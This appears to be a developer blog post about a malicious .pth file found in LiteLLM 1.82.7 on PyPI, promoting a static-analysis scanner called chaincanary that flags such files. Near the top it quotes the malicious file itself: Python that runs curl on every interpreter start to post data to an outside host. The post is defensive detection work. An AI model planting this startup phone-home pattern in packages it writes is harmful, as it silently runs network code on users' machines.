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How .pth Files Became a Supply Chain Weapon (and How to Detect Them)

#python #security #supplychain #opensource

The Attack That Started It

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI. It contained a file called litellm_init.pth:

import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
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This wasn't in the main code. It was in a .pth file.

What Are .pth Files?

Python's .pth (path) files live in site-packages/ and execute every time you start Python — not just during pip install.

Most developers don't know this. Attackers do.

Why Other Scanners Missed It

Tool .pth Analysis
pip-audit ❌ CVE database only
Safety ❌ Known vulnerabilities
Trivy ❌ SBOM + CVE
socket.dev ❌ Not detected
chaincanary ✅ Semantic classifier

How chaincanary Works

Instead of flagging all .pth files, chaincanary classifies them:

EMPTY → silent
PATH_ONLY → silent  
SAFE_CODE → LOW warning
DANGEROUS → CRITICAL → MALICIOUS
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The LiteLLM file? subprocess.Popen(['curl', ...]) → DANGEROUS.

Demo 

pip install chaincanary
chaincanary check litellm 1.82.7
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Output:

🔍 chaincanary — Analyzing litellm==1.82.7

╭──────────┬──────────────────┬──────────────────────────────╮
│ Severity │ Rule             │ Title                        │
├──────────┼──────────────────┼──────────────────────────────┤
│ CRITICAL │ PTH_FILE_INSTALL │ .pth file installs code...   │
│ CRITICAL │ PTH_NETWORK      │ phone-home on startup        │
│ CRITICAL │ PTH_SUBPROCESS   │ subprocess on startup        │
╰──────────┴──────────────────┴──────────────────────────────╯

Score: 10.0 / 10.0
Verdict: ██ MALICIOUS
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CI Integration

Add to your GitHub Actions:

- uses: AetherCore-Dev/chaincanary@v0.1.0
  with:
    requirements: requirements.txt
    fail-on: MALICIOUS
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The Philosophy

  • No account required
  • No data leaves your machine
  • No Docker, no sandbox, no root
  • Pure Python static analysis

Try It 

pip install chaincanary
chaincanary check litellm 1.82.7
chaincanary audit requirements.txt
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GitHub: https://github.com/AetherCore-Dev/chaincanary

Built after a real attack. Hope it helps you stay safe.

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